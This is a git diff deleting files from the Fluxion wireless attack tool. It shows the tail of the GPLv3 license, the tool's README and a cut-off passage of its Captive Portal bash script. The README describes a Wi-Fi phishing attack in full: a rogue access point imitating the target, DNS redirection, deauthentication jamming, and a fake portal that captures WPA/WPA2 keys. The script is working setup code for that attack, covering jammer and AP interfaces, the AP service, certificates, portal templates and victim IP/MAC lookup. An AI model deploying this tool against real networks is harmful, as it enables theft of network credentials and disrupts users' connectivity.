a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - {one line to give the program's name and a brief idea of what it does.} - Copyright (C) {year} {name of author} - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - {project} Copyright (C) {year} {fullname} - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/fluxion_origins/README.md b/fluxion_origins/README.md deleted file mode 100644 index 25ea3a3..0000000 --- a/fluxion_origins/README.md +++ /dev/null @@ -1,87 +0,0 @@ -![Fuxion logo](https://github.com/FluxionNetwork/fluxion/raw/master/logos/logo.jpg) - -# Fluxion is the future of MITM WPA attacks -Fluxion is a security auditing and social-engineering research tool. It is a remake of linset by vk496 with (hopefully) less bugs and more functionality. The script attempts to retrieve the WPA/WPA2 key from a target access point by means of a social engineering (phishing) attack. It's compatible with the latest release of Kali (rolling). Fluxion's attacks' setup is mostly manual, but experimental auto-mode handles some of the attacks' setup parameters. Read the [FAQ](https://github.com/FluxionNetwork/fluxion/wiki/FAQ) before requesting issues. - -If you need quick help, fluxion is also avaible on gitter. You can talk with us on [Gitter](https://gitter.im/FluxionNetwork/Lobby) or on [Discord](https://discord.gg/G43gptk). -## Installation -Read [here](https://github.com/FluxionNetwork/fluxion/wiki/Generate-ssh-keys) before you do the following steps. -
-**Download the latest revision** -``` -git clone --recursive git@github.com:FluxionNetwork/fluxion.git -``` -**Switch to tool's directory** -``` -cd fluxion -``` -**Run fluxion (missing dependencies will be auto-installed)** -``` -./fluxion.sh -``` - -**Fluxion is also available in arch** -``` -cd bin/arch -makepkg -``` - -or using the blackarch repo -``` -pacman -S fluxion -``` - -## :scroll: Changelog -Fluxion gets weekly updates with new features, improvements, and bugfixes. -Be sure to check out the [changelog here](https://github.com/FluxionNetwork/fluxion/commits/master). - -## :octocat: How to contribute -All contributions are welcome! Code, documentation, graphics, or even design suggestions are welcome; use GitHub to its fullest. Submit pull requests, contribute tutorials or other wiki content -- whatever you have to offer, it'll be appreciated but please follow the [style guide](https://github.com/FluxionNetwork/fluxion/wiki/Code-style-guide). - -## :book: How it works -* Scan for a target wireless network. -* Launch the `Handshake Snooper` attack. -* Capture a handshake (necessary for password verification). -* Launch `Captive Portal` attack. -* Spawns a rogue (fake) AP, imitating the original access point. -* Spawns a DNS server, redirecting all requests to the attacker's host running the captive portal. -* Spawns a web server, serving the captive portal which prompts users for their WPA/WPA2 key. -* Spawns a jammer, deauthenticating all clients from original AP and lureing them to the rogue AP. -* All authentication attempts at the captive portal are checked against the handshake file captured earlier. -* The attack will automatically terminate once a correct key has been submitted. -* The key will be logged and clients will be allowed to reconnect to the target access point. - -* For a guide to the `Captive Portal` attack, read the [Captive Portal attack guide](https://github.com/FluxionNetwork/fluxion/wiki/Captive-Portal-Attack) - -## :heavy_exclamation_mark: Requirements - -A Linux-based operating system. We recommend Kali Linux 2 or Kali rolling. Kali 2 & rolling support the latest aircrack-ng versions. An external wifi card is recommended. - -## Related work - -For development I use vim and tmux. Here are my [dotfiles](https://github.com/deltaxflux/takumi/) -## :octocat: Credits -1. l3op - contributor -2. dlinkproto - contributor -3. vk496 - developer of linset -4. Derv82 - @Wifite/2 -5. Princeofguilty - @webpages and @buteforce -6. Photos for wiki @http://www.kalitutorials.net -7. Ons Ali @wallpaper -8. PappleTec @sites -9. MPX4132 - Fluxion V3 - -## Disclaimer -* Authors do not own the logos under the `/attacks/Captive Portal/sites/` directory. Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. - -* The usage of Fluxion for attacking infrastructures without prior mutual consent could be considered an illegal activity, and is highly discouraged by its authors/developers. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program. - -## Note -* Beware of sites pretending to be related with the Fluxion Project. These may be delivering malware. - -* Fluxion **DOES NOT WORK** on Linux Subsystem For Windows 10, because the subsystem doesn't allow access to network interfaces. Any Issue regarding the same would be **Closed Immediately** - -## Links -**Fluxion website:** https://fluxionnetwork.github.io/fluxion/
-**Discord:** https://discordapp.com/invite/G43gptk
-**Gitter:** https://gitter.im/FluxionNetwork/Lobby
diff --git a/fluxion_origins/_config.yml b/fluxion_origins/_config.yml deleted file mode 100644 index fc24e7a..0000000 --- a/fluxion_origins/_config.yml +++ /dev/null @@ -1 +0,0 @@ -theme: jekyll-theme-hacker \ No newline at end of file diff --git a/fluxion_origins/attacks/Captive Portal/attack.sh b/fluxion_origins/attacks/Captive Portal/attack.sh deleted file mode 100755 index 4eb7dc9..0000000 --- a/fluxion_origins/attacks/Captive Portal/attack.sh +++ /dev/null @@ -1,1490 +0,0 @@ -#!/usr/bin/env bash - -# ============================================================ # -# =============== < Captive Portal Parameters > ============== # -# ============================================================ # -CaptivePortalState="Not Ready" - -CaptivePortalPassLog="$FLUXIONPath/attacks/Captive Portal/pwdlog" -CaptivePortalNetLog="$FLUXIONPath/attacks/Captive Portal/netlog" - -CaptivePortalAuthenticationMethods=("hash") # "wpa_supplicant") -CaptivePortalAuthenticationMethodsInfo=( - "(handshake file, ${CGrn}recommended$CClr)" -) # "(Target AP authentication, slow)") - -# ============= < Virtual Network Configuration > ============ # -# To avoid collapsing with an already existing network, -# we'll use a somewhat uncommon network and server IP. -CaptivePortalGatewayAddress="192.168.254.1" -CaptivePortalGatewayNetwork=${CaptivePortalGatewayAddress%.*} - - -# ============================================================ # -# ============== < Captive Portal Subroutines > ============== # -# ============================================================ # -captive_portal_unset_jammer_interface() { - CaptivePortalJammerInterfaceOriginal="" - - if [ ! "$CaptivePortalJammerInterface" ]; then return 1; fi - CaptivePortalJammerInterface="" - - # Check if we're automatically selecting the interface & skip - # this one if so to take the user back properly. - local interfacesAvailable - readarray -t interfacesAvailable < <(attack_targetting_interfaces) - - if [ ${#interfacesAvailable[@]} -le 1 ]; then return 2; fi -} - -captive_portal_set_jammer_interface() { - if [ "$CaptivePortalJammerInterface" ]; then return 0; fi - - if [ ! "$CaptivePortalJammerInterfaceOriginal" ]; then - echo "Running get jammer interface." > $FLUXIONOutputDevice - if ! fluxion_get_interface attack_targetting_interfaces \ - "$CaptivePortalJammerInterfaceQuery"; then - echo "Failed to get jammer interface" > $FLUXIONOutputDevice - return 1 - fi - CaptivePortalJammerInterfaceOriginal=$FluxionInterfaceSelected - fi - - local selectedInterface=$CaptivePortalJammerInterfaceOriginal - - if ! fluxion_allocate_interface $selectedInterface; then - echo "Failed to allocate jammer interface" > $FLUXIONOutputDevice - return 2 - fi - - echo "Succeeded get jammer interface." > $FLUXIONOutputDevice - CaptivePortalJammerInterface=${FluxionInterfaces[$selectedInterface]} -} - -captive_portal_ap_interfaces() { - interface_list_all - local interface - for interface in "${InterfaceListAll[@]}"; do - if [ "$interface" = "lo" ]; then continue; fi - echo "$interface" - done -} - -captive_portal_unset_ap_interface() { - CaptivePortalAccessPointInterfaceOriginal="" - - if [ ! "$CaptivePortalAccessPointInterface" ]; then return 1; fi - if [ "$CaptivePortalAccessPointInterface" = \ - "${CaptivePortalJammerInterface}v" ]; then - if ! iw dev $CaptivePortalAccessPointInterface del \ - &> $FLUXIONOutputDevice; then - fluxion_conditional_bail "Unable to remove virtual interface!" - exit 1 - fi - fi - CaptivePortalAccessPointInterface="" -} - -captive_portal_set_ap_interface() { - if [ "$CaptivePortalAccessPointInterface" ]; then return 0; fi - - if [ ! "$CaptivePortalAccessPointInterfaceOriginal" ]; then - echo "Running get ap interface." > $FLUXIONOutputDevice - if ! fluxion_get_interface captive_portal_ap_interfaces \ - "$CaptivePortalAccessPointInterfaceQuery"; then - echo "Failed to get ap interface" > $FLUXIONOutputDevice - return 1 - fi - CaptivePortalAccessPointInterfaceOriginal=$FluxionInterfaceSelected - fi - - local selectedInterface=$CaptivePortalAccessPointInterfaceOriginal - - if ! fluxion_allocate_interface $selectedInterface; then - echo "Failed to allocate ap interface" > $FLUXIONOutputDevice - return 2 - fi - - echo "Succeeded get ap interface." > $FLUXIONOutputDevice - CaptivePortalAccessPointInterface=${FluxionInterfaces[$selectedInterface]} - - # If interfaces are the same, we need an independent virtual interface. - if [ "$CaptivePortalAccessPointInterface" = \ - "$CaptivePortalJammerInterface" ]; then - # TODO: Make fluxion's interface services manage virtual interfaces. - # Have fluxion_get_interface return a virutal interface if the primary - # interface is in used by something else (virtual reservation?). - echo "Virtual interface required, attempting." > $FLUXIONOutputDevice - if ! iw dev $CaptivePortalJammerInterface interface \ - add ${CaptivePortalJammerInterface}v type monitor \ - 2> $FLUXIONOutputDevice; then - echo -e "$FLUXIONVLine $CaptivePortalCannotStartInterfaceError" - sleep 5 - return 2 - fi - echo "Virtual interface created successfully." > $FLUXIONOutputDevice - CaptivePortalAccessPointInterface=${CaptivePortalJammerInterface}v - fi -} - -function captive_portal_unset_ap_service() { - if [ ! "$CaptivePortalAPService" ]; then return 1; fi - - CaptivePortalAPService="" - - # Since we're auto-selecting when on auto, trigger undo-chain. - if [ "$FLUXIONAuto" ]; then return 2; fi - - if ! interface_is_wireless "$CaptivePortalAccessPointInterface"; then - return 3; - fi -} - -function captive_portal_set_ap_service() { - if [ "$CaptivePortalAPService" ]; then - if ! type -t ap_service_start; then - # AP Service: Load the service's helper routines. - source "$FLUXIONLibPath/ap/$CaptivePortalAPService.sh" - fi - return 0 - fi - if ! interface_is_wireless "$CaptivePortalAccessPointInterface"; then - return 0 - fi - - captive_portal_unset_ap_service - - if [ "$FLUXIONAuto" ]; then - CaptivePortalAPService="hostapd" - else - fluxion_header - - echo -e "$FLUXIONVLine $CaptivePortalAPServiceQuery" - echo - - fluxion_target_show - - local choices=( - "$CaptivePortalAPServiceHostapdOption" - "$CaptivePortalAPServiceAirbaseOption" - "$FLUXIONGeneralBackOption" - ) - io_query_choice "" choices[@] - - echo - - case "$IOQueryChoice" in - "$CaptivePortalAPServiceHostapdOption") - CaptivePortalAPService="hostapd" ;; - "$CaptivePortalAPServiceAirbaseOption") - CaptivePortalAPService="airbase-ng" ;; - "$FLUXIONGeneralBackOption") - return 1 - ;; - *) - fluxion_conditional_bail "Invalid AP service selected!" - return 1 - ;; - esac - fi - - # AP Service: Load the service's helper routines. - source "$FLUXIONLibPath/ap/$CaptivePortalAPService.sh" -} - -captive_portal_unset_authenticator() { - if [ ! "$CaptivePortalAuthenticatorMode" ]; then return 0; fi - - case "$CaptivePortalAuthenticatorMode" in - "hash") - echo "Unset hash is done automatically." > $FLUXIONOutputDevice ;; - esac - - CaptivePortalAuthenticatorMode="" - - # If we've only got one option, then the user skipped this section - # by auto-selecting that single option, so we unset the previous - # phase along with this one to properly take the user back. - if [ ${#CaptivePortalAuthenticationMethods[@]} -le 1 ]; then - return 1 # Trigger undo chain because it was auto-selected. - fi -} - -captive_portal_set_authenticator() { - if [ "$CaptivePortalAuthenticatorMode" ]; then - case "$CaptivePortalAuthenticatorMode" in - "hash") - if [ "$CaptivePortalHashPath" ]; then - echo "Captive Portal authentication mode is already set, skipping!" \ - > $FLUXIONOutputDevice - return 0 - fi - ;; - esac - fi - - captive_portal_unset_authenticator - - # If we've got only one choice, auto-select it for the user. - if [ \ - ${#CaptivePortalAuthenticationMethods[@]} -eq 1 -o \ - ${#CaptivePortalAuthenticationMethods[@]} -ge 1 -a \ - "$FLUXIONAuto" ]; then - CaptivePortalAuthenticatorMode="${CaptivePortalAuthenticationMethods[0]}" - echo "Auto-selected auth-method: $CaptivePortalAuthenticatorMode" \ - > $FLUXIONOutputDevice - else - fluxion_header - - echo -e "$FLUXIONVLine $CaptivePortalVerificationMethodQuery" - echo - - fluxion_target_show - - local choices=( - "${CaptivePortalAuthenticationMethods[@]}" - "$FLUXIONGeneralBackOption" - ) - io_query_format_fields "" "\t$CRed[$CYel%d$CRed]$CClr %b %b\n" \ - choices[@] CaptivePortalAuthenticationMethodsInfo[@] - - echo - - CaptivePortalAuthenticatorMode="${IOQueryFormatFields[0]}" - - # If we're going back, reset everything and abort. - if [[ \ - "$CaptivePortalAuthenticatorMode" == \ - "$FLUXIONGeneralBackOption" ]]; then - captive_portal_unset_authenticator - return -1 - fi - fi - - # Process the authentication method selected. - local result=1 # Assume failure at first. - case "$CaptivePortalAuthenticatorMode" in - "hash") - # Pass default path if no path is set yet. - if [ ! "$CaptivePortalHashPath" ]; then - CaptivePortalHashPath="$FLUXIONPath/attacks/Handshake Snooper/handshakes/$FluxionTargetSSIDClean-$FluxionTargetMAC.cap" - fi - - fluxion_hash_get_path \ - "$CaptivePortalHashPath" "$FluxionTargetMAC" "$FluxionTargetSSID" - result=$? - - if [ $result -eq 0 ]; then - CaptivePortalHashPath="$FluxionHashPath" - fi - ;; - esac - - # Assure authentication method processing succeeded, abort otherwise. - if [[ $result -ne 0 ]]; then - echo "Auth-mode error code $result!" > $FLUXIONOutputPath - return 1 - fi -} - -captive_portal_run_certificate_generator() { - xterm -bg "#000000" -fg "#CCCCCC" \ - -title "Generating Self-Signed SSL Certificate" -e openssl req \ - -subj '/CN=captive.gateway.lan/O=CaptivePortal/OU=Networking/C=US' \ - -new -newkey rsa:2048 -days 365 -nodes -x509 \ - -keyout "$FLUXIONWorkspacePath/server.pem" \ - -out "$FLUXIONWorkspacePath/server.pem" - # Details -> https://www.openssl.org/docs/manmaster/apps/openssl.html - chmod 400 "$FLUXIONWorkspacePath/server.pem" -} - -captive_portal_unset_certificate() { - if [ ! "$CaptivePortalSSL" ]; then return 1; fi - # WARNING: The server configuration depends on whether the certificate - # file exists and is positioned in the proper location. The check above - # could unsynchronize with the certificate file if we're not careful! - sandbox_remove_workfile "$FLUXIONWorkspacePath/server.pem" - CaptivePortalSSL="" - - # Since we're auto-selecting when on auto, trigger undo-chain. - if [ "$FLUXIONAuto" ]; then return 2; fi -} - -# Create Self-Signed SSL Certificate -captive_portal_set_certificate() { - if [ \ - "$CaptivePortalSSL" = "disabled" -o \ - "$CaptivePortalSSL" = "enabled" -a \ - -f "$FLUXIONWorkspacePath/server.pem" ]; then - echo "Captive Portal SSL mode already set to $CaptivePortalSSL!" \ - > $FLUXIONOutputDevice - return 0 - fi - - # TODO: This is temporary solution, refactor this. - if [ "$CaptivePortalSSL" = "enabled" ]; then - local -r restoring=true - fi - - captive_portal_unset_certificate - - # Check existance of ssl certificate within fluxion with file size > 0 - # If user-supplied (fancy) certificate exists, copy it to fluxspace. - if [ \ - -f "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" -a \ - -s "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \ - ]; then - cp "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \ - "$FLUXIONWorkspacePath/server.pem" - - CaptivePortalSSL="enabled" # Enabled if sourcing user certificate - - echo "Captive Portal certificate was user supplied, skipping query!" \ - > $FLUXIONOutputDevice - return 0 - fi - - - # Check if we're restoring and we need to re-create certificate. - if [ "$restoring" ]; then - if ! captive_portal_run_certificate_generator; then - fluxion_conditional_bail "cert-gen failed!" - return 2 - fi - CaptivePortalSSL="enabled" - return 0 - fi - - - if [ "$FLUXIONAuto" ]; then - CaptivePortalSSL="disabled" - else - local choices=( - "$CaptivePortalCertificateSourceGenerateOption" - "$CaptivePortalCertificateSourceRescanOption" - "$CaptivePortalCertificateSourceDisabledOption" - "$FLUXIONGeneralBackOption" - ) - - io_query_choice "$CaptivePortalCertificateSourceQuery" choices[@] - - echo - - case "$IOQueryChoice" in - "$CaptivePortalCertificateSourceGenerateOption") - # If cert generator fails, gtfo, something broke! - if ! captive_portal_run_certificate_generator; then - fluxion_conditional_bail "cert-gen failed!" - return 2 - fi - CaptivePortalSSL="enabled" - ;; - - "$CaptivePortalCertificateSourceRescanOption") - captive_portal_set_certificate - return $? - ;; - - "$CaptivePortalCertificateSourceDisabledOption") - CaptivePortalSSL="disabled" - ;; - - "$FLUXIONGeneralBackOption") - return 1 - ;; - *) - fluxion_conditional_bail "Unknown cert-gen option!" - return 2 - ;; - esac - fi -} - -captive_portal_unset_connectivity() { - if [ ! "$CaptivePortalConnectivity" ]; then return 1; fi - CaptivePortalConnectivity="" - - # Since we're auto-selecting when on auto, trigger undo-chain. - if [ "$FLUXIONAuto" ]; then return 2; fi -} - -captive_portal_set_connectivity() { - if [ "$CaptivePortalConnectivity" ]; then return 0; fi - - captive_portal_unset_connectivity - - if [ "$FLUXIONAuto" ]; then - CaptivePortalConnectivity="disconnected" - else - local choices=( - "$CaptivePortalConnectivityDisconnectedOption" - "$CaptivePortalConnectivityEmulatedOption" - "$FLUXIONGeneralBackOption" - ) - io_query_choice "$CaptivePortalConnectivityQuery" choices[@] - - case "$IOQueryChoice" in - "$CaptivePortalConnectivityDisconnectedOption") - CaptivePortalConnectivity="disconnected" ;; - "$CaptivePortalConnectivityEmulatedOption") - CaptivePortalConnectivity="emulated" ;; - "$FLUXIONGeneralBackOption") - return 1 - ;; - *) - fluxion_conditional_bail "Unknown connectivity option!" - return 2 - ;; - esac - fi -} - -captive_portal_unset_user_interface() { - if [ -z "$CaptivePortalUserInterface" ]; then return 1; fi - CaptivePortalUserInterface="" -} - -captive_portal_set_user_interface() { - local -r attackPath="$FLUXIONPath/attacks/Captive Portal" - - # Skip setting UI if one is selected and is a custom or a generic portal. - if [ "$CaptivePortalUserInterface" != "" ] && [ \ - -d "$attackPath/sites/$CaptivePortalUserInterface.portal" -o \ - -f "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" ]; then - return 0 - fi - - captive_portal_unset_user_interface - - local sites=() - - # Attempt adding generic portals only if the directory exists. - if [ -d "$FLUXIONPath/attacks/Captive Portal/generic/languages" ]; then - # Normalize the names of the generic portals for presentation. - for site in "$FLUXIONPath/attacks/Captive Portal/generic/languages/"*.lang; do - sites+=("${CaptivePortalGenericInterfaceOption}_$(basename "${site%.lang}")") - done - fi - - # Attempt adding custom portals only if the directory exists. - if [ -d "$FLUXIONPath/attacks/Captive Portal/sites" ]; then - # Retrieve available portal sites and strip the .portal extension. - for site in "$FLUXIONPath/attacks/Captive Portal/sites/"*.portal; do - sites+=("$(basename "${site%.portal}")") - done - fi - - local sitesIdentifier=("${sites[@]/_*/}" "$FLUXIONGeneralBackOption") - local sitesLanguage=("${sites[@]/*_/}") - - format_center_dynamic "$CRed[$CYel%02d$CRed]$CClr %-44b $CBlu%10s$CClr" - local queryFieldOptionsFormat=$FormatCenterDynamic - - fluxion_header - - echo -e "$FLUXIONVLine $CaptivePortalUIQuery" - - echo - - fluxion_target_show "$FluxionTargetSSID" "$FluxionTargetEncryption" \ - "$FluxionTargetChannel" "$FluxionTargetMAC" "$FluxionTargetMaker" - - io_query_format_fields "" "$queryFieldOptionsFormat\n" \ - sitesIdentifier[@] sitesLanguage[@] - - echo - - local site="${IOQueryFormatFields[0]}" - local siteLanguage="${IOQueryFormatFields[1]}" - local siteIdentifier="${site}_${siteLanguage}" - - case "$site" in - "$CaptivePortalGenericInterfaceOption") - CaptivePortalUserInterface=$siteLanguage - # source "$FLUXIONPath/attacks/Captive Portal/generic/languages/$siteLanguage.lang" - # captive_portal_generic - ;; - "$FLUXIONGeneralBackOption") - captive_portal_unset_user_interface - return 1 - ;; - *) - CaptivePortalUserInterface=$siteIdentifier - ;; - esac -} - - -captive_portal_get_client_IP() { - if [ -f "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" ]; then - MatchedClientIP=$( - cat "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" | \ - sed '/^\s*$/d' | tail -n 1 | head -n 1 - ) - else - MatchedClientIP="unknown" - fi - - echo $MatchedClientIP -} - -captive_portal_get_IP_MAC() { - if [ -f "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" ] && \ - [ "$(captive_portal_get_client_IP)" != "" ] && \ - [ -f "$FLUXIONWorkspacePath/clients.txt" ]; then - local IP=$(captive_portal_get_client_IP) - local MatchedClientMAC=$( - cat $FLUXIONWorkspacePath/clients.txt | \ - grep $IP | awk '{print $5}' | grep : | head -n 1 | \ - tr [:upper:] [:lower:] - ) - if [ "$(echo $MatchedClientMAC | wc -m)" != "18" ]; then - local MatchedClientMAC="xx:xx:xx:xx:xx:xx" - fi - else - local MatchedClientMAC="unknown" - fi - echo $MatchedClientMAC -} - -captive_portal_get_MAC_brand() { - if [ $(captive_portal_get_IP_MAC) != "" ]; then - local MACManufacturer=$( macchanger -l | \ - grep "$(echo "$(captive_portal_get_IP_MAC)" | cut -d ":" -f -3)" | \ - cut -d " " -f 5-) - if echo "$MACManufacturer" | grep -q x; then - local MACManufacturer="unknown" - fi - else - local MACManufacturer="unknown" - fi - - echo $MACManufacturer -} - - -captive_portal_unset_attack() { - sandbox_remove_workfile \ - "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" - sandbox_remove_workfile \ - "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" - sandbox_remove_workfile "$FLUXIONWorkspacePath/lighttpd.conf" - sandbox_remove_workfile "$FLUXIONWorkspacePath/dhcpd.leases" - sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal/check.php" - sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal" - - # Only reset the AP if one has been defined. - if [ "$CaptivePortalAPService" -a "$(type -t ap_service_reset)" ]; then - ap_service_reset - fi -} - -# Create different settings required for the script -captive_portal_set_attack() { - local -r attackPath="$FLUXIONPath/attacks/Captive Portal" - # Load and set the captive portal user interface to the workspace. - # Check whether it's a custom, generic, or invalid portal. - if [ -d "$attackPath/sites/$CaptivePortalUserInterface.portal" ]; then - cp -r "$attackPath/sites/$CaptivePortalUserInterface.portal" \ - "$FLUXIONWorkspacePath/captive_portal" - elif [ -f "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" ]; then - source "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" - captive_portal_generic - else - return 1 - fi - - find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \ - sed -i -e 's/$APTargetSSID/'"${FluxionTargetSSID//\//\\\/}"'/g; s/$APTargetMAC/'"${FluxionTargetMAC//\//\\\/}"'/g; s/$APTargetChannel/'"${FluxionTargetChannel//\//\\\/}"'/g' {} \; - - - # Add the PHP authenticator scripts, used to verify - # password attempts from users using the web interface. - local authenticatorFiles=("authenticator.php" "check.php" "update.php") - - for authenticatorFile in "${authenticatorFiles[@]}"; do - cp "$FLUXIONPath/attacks/Captive 